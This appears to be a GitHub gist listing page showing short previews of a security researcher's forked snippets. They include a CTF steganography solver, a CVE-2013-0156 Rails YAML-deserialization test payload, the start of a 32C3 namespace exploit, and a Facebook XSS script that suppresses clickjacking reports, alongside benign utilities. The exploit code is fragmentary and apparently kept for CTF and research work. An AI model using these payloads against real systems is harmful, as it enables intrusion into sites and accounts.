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0xBADCA7 / solve.py
Created May 15, 2016 20:26 — forked from elliptic-shiho/solve.py
BCTF 2016 steganography 150: midifan Writeup
from scryptos import *
d = open("out.csv").read().split("\n")
bits = ""
for x in d:
r = x.split(", ")
if len(r) > 4:
if int(r[3]) == 0:
if r[2] == "Note_on_c":
@0xBADCA7
0xBADCA7 / yml_security_test.rb
Created January 15, 2016 11:48 — forked from jmccaffrey/yml_security_test.rb
Simple Rails security test for CVE-2013-0156
#you can copy this into IRB or just run it as a file
require "net/http"
require "uri"
# require "net/https" # for testing ssl
url = "http://localhost:3000/login"
yaml = %{ --- !ruby/object:Time {} }
xml = %{<?xml version="1.0" encoding="UTF-8"?><foo type="yaml">#{yaml}</foo>}.strip
@0xBADCA7
0xBADCA7 / unshare.c
Created December 30, 2015 09:26 — forked from stephenR/doit.sh
32c3_vault_exploit.c
#define _GNU_SOURCE
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdlib.h>
#include <sched.h>
#include <sys/mount.h>
int main(int argc, char *argv[])
{
if(unshare(CLONE_NEWNS | CLONE_NEWUSER) < 0) {
@0xBADCA7
0xBADCA7 / latency.txt
Created November 8, 2015 13:49 — forked from jboner/latency.txt
Latency Numbers Every Programmer Should Know
Latency Comparison Numbers
--------------------------
L1 cache reference 0.5 ns
Branch mispredict 5 ns
L2 cache reference 7 ns 14x L1 cache
Mutex lock/unlock 25 ns
Main memory reference 100 ns 20x L2 cache, 200x L1 cache
Compress 1K bytes with Zippy 3,000 ns
Send 1K bytes over 1 Gbps network 10,000 ns 0.01 ms
Read 4K randomly from SSD* 150,000 ns 0.15 ms
@0xBADCA7
0xBADCA7 / gdb_ascii_examine.txt
Last active August 29, 2015 14:20 — forked from nmcv/gdb_ascii_examine.txt
define xac
dont-repeat
set $addr = (char *)($arg0)
set $endaddr = $addr + $arg1
while $addr < $endaddr
printf "%p: ", $addr
set $lineendaddr = $addr + 8
if $lineendaddr > $endaddr
set $lineendaddr = $endaddr
end
@0xBADCA7
0xBADCA7 / wps_openwrt.sh
Last active August 29, 2015 14:13 — forked from alghanmi/wps_openwrt.sh
##
## WPS on OpenWRT
## This script enables Wi-Fi Protected Setup on OpenWRT.
##
## Resources
## http://wiki.openwrt.org/doc/uci/wireless#wps.options
##
#Install the full wpad package
opkg update
@0xBADCA7
0xBADCA7 / gist:e5cabff3cc1f984c2b0a
Last active August 29, 2015 14:11 — forked from isciurus/gist:5437231
<html lang="en">
<head>
<script>
function str2hex(str)
{
var out_str = " ";
for(var i = 0; i < str.length; i++)
{
@0xBADCA7
0xBADCA7 / analysis.rb
Created June 7, 2014 09:38 — forked from emboss/analysis.rb
# Original castealer.rb with analysis
#####################################################################################
require 'rubygems' #redundant
require 'openssl'
require 'digest/md5' #redundant
key = OpenSSL::PKey::RSA.new(2048)
cipher = OpenSSL::Cipher::AES.new(256, :CBC) #redundant
ctx = OpenSSL::SSL::SSLContext.new #redundant
@0xBADCA7
0xBADCA7 / xss.js
Created June 5, 2014 19:05 — forked from matt-/iframe.html
// this is for the iframe to facebook.com
document.domain = 'facebook.com'
uid = 501558012;
app_id = 123456789012332;
function Image(){
// this should kill the click jacking report
}
// create a new iframe we will use to load facebook.com
@0xBADCA7
0xBADCA7 / reflect.py
Created June 4, 2014 12:02 — forked from huyng/reflect.py
#!/usr/bin/env python
# Reflects the requests from HTTP methods GET, POST, PUT, and DELETE
# Written by Nathan Hamiel (2010)
from BaseHTTPServer import HTTPServer, BaseHTTPRequestHandler
from optparse import OptionParser
class RequestHandler(BaseHTTPRequestHandler):
def do_GET(self):